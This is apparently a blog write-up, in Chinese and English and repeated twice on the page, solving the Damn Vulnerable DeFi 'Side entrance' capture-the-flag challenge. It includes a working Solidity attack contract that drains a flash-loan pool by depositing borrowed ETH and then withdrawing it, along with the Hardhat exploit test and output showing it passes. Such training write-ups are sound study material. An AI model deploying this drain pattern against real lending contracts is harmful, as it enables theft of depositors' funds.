web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.
This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
You must take all ETH from the lending pool.
目标: 从闪电贷池中取走所有ETH
after(async function () {
/** SUCCESS CONDITIONS */
expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal("0");
// Not checking exactly how much is the final balance of the attacker,
// because it'll depend on how much gas the attacker spends in the attack
// If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
this.attackerInitialEthBalance,
);
SideEntranceLenderPool.sol 借贷池合约
deposit 存款函数
withdraw 取款函数
flashLoan 闪电贷函数
flashLoan 分析
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
check 闪电贷前余额大于借款金额
执行闪电贷套利操作
check 池子余额大于闪电贷前余额(成功还款)
漏洞: require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
由于flashLoan 函数中check成功还款的逻辑为判定借贷池中的ETH总余额是否大于闪电贷前的余额,而不是判定仅通过闪电贷操作的还款
因此我们先通过闪电贷借出所有ETH,在套利合约中执行deposit 存款操作存入贷出的所有ETH,此时借贷池中的余额等于原始余额,通过check还款, 完成闪电贷操作通过deposit 函数存款后,攻击合约的balances 将等于闪电贷出的所有ETH,再执行withdraw 函数取出池子所有ETH.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract SideEntryAttack is IFlashLoanEtherReceiver {
address pool;
uint256 constant TOKEN_INPOOL = 1000 * 10**18;
constructor(address _pool) {
pool = _pool;
}
function flashLoan() public {
bytes memory flashLoanData = abi.encodeWithSignature("flashLoan(uint256)", TOKEN_INPOOL);
(bool success, ) = pool.call(flashLoanData);
require(success, "failed");
}
function execute() external payable override {
bytes memory depositeData = abi.encodeWithSignature("deposit()");
(bool success, ) = pool.call{ value: TOKEN_INPOOL }(depositeData);
require(success, "failed");
}
function withdraw() public {
bytes memory withdrawData = abi.encodeWithSignature("withdraw()");
(bool success, ) = pool.call(withdrawData);
require(success, "failed");
}
function attack() public {
flashLoan();
withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const SideEntryAttack = await ethers.getContractFactory("SideEntryAttack", attacker);
this.attackLoan = await SideEntryAttack.deploy(this.pool.address);
await this.attackLoan.attack();
});
运行通过
❯ yarn run side-entrance
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/side-entrance/side-entrance.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/side-entrance/side-entrance.challenge.js
[Challenge] Side entrance
✓ Exploit (151ms)
1 passing (2s)
Done in 3.76s.
**Twitter: @0xRunstar
A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.
This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
You must take all ETH from the lending pool.
目标: 从闪电贷池中取走所有ETH
after(async function () {
/** SUCCESS CONDITIONS */
expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal("0");
// Not checking exactly how much is the final balance of the attacker,
// because it'll depend on how much gas the attacker spends in the attack
// If there were no gas costs, it would be balance before attack + ETHER_IN_POOL
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
this.attackerInitialEthBalance,
);
SideEntranceLenderPool.sol 借贷池合约
deposit 存款函数
withdraw 取款函数
flashLoan 闪电贷函数
flashLoan 分析
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
check 闪电贷前余额大于借款金额
执行闪电贷套利操作
check 池子余额大于闪电贷前余额(成功还款)
漏洞: require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
由于flashLoan 函数中check成功还款的逻辑为判定借贷池中的ETH总余额是否大于闪电贷前的余额,而不是判定仅通过闪电贷操作的还款
因此我们先通过闪电贷借出所有ETH,在套利合约中执行deposit 存款操作存入贷出的所有ETH,此时借贷池中的余额等于原始余额,通过check还款, 完成闪电贷操作通过deposit 函数存款后,攻击合约的balances 将等于闪电贷出的所有ETH,再执行withdraw 函数取出池子所有ETH.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract SideEntryAttack is IFlashLoanEtherReceiver {
address pool;
uint256 constant TOKEN_INPOOL = 1000 * 10**18;
constructor(address _pool) {
pool = _pool;
}
function flashLoan() public {
bytes memory flashLoanData = abi.encodeWithSignature("flashLoan(uint256)", TOKEN_INPOOL);
(bool success, ) = pool.call(flashLoanData);
require(success, "failed");
}
function execute() external payable override {
bytes memory depositeData = abi.encodeWithSignature("deposit()");
(bool success, ) = pool.call{ value: TOKEN_INPOOL }(depositeData);
require(success, "failed");
}
function withdraw() public {
bytes memory withdrawData = abi.encodeWithSignature("withdraw()");
(bool success, ) = pool.call(withdrawData);
require(success, "failed");
}
function attack() public {
flashLoan();
withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const SideEntryAttack = await ethers.getContractFactory("SideEntryAttack", attacker);
this.attackLoan = await SideEntryAttack.deploy(this.pool.address);
await this.attackLoan.attack();
});
运行通过
❯ yarn run side-entrance
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/side-entrance/side-entrance.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/side-entrance/side-entrance.challenge.js
[Challenge] Side entrance
✓ Exploit (151ms)
1 passing (2s)
Done in 3.76s.
**Twitter: @0xRunstar
No activity yet